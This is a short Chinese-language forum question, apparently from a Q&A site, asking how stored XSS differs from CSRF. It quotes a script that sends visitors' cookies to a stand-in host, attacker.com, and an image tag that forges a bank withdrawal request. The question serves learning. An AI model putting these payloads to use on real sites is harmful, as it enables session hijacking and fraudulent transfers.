为了彻底了解 XSS 和 CSRF,我很清楚类型 2 xss 涉及在服务器上持久存在的漏洞利用。
例如
<SCRIPT type="text/javascript">
new Image().src = 'http://www.attacker.com/evil.php?cookie=' + escape(document.cookie);
</SCRIPT>
如果上述脚本是易受 xss 攻击的论坛帖子的一部分,则每个访问该页面的用户都会依次通过 evil.php 将其 cookie 发送到攻击者.com。
这与 CSRF 有何不同?
例如,论坛上的帖子可以是:- Eve:你好 Alice!看这里:
<img src="http://bank.example.com/withdraw?account=Alice&amount=1000000&for=Eve">
在我看来,在这两种情况下,都会调用一个远程 url,并且它们都在服务器上持久存在。
参考:
https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29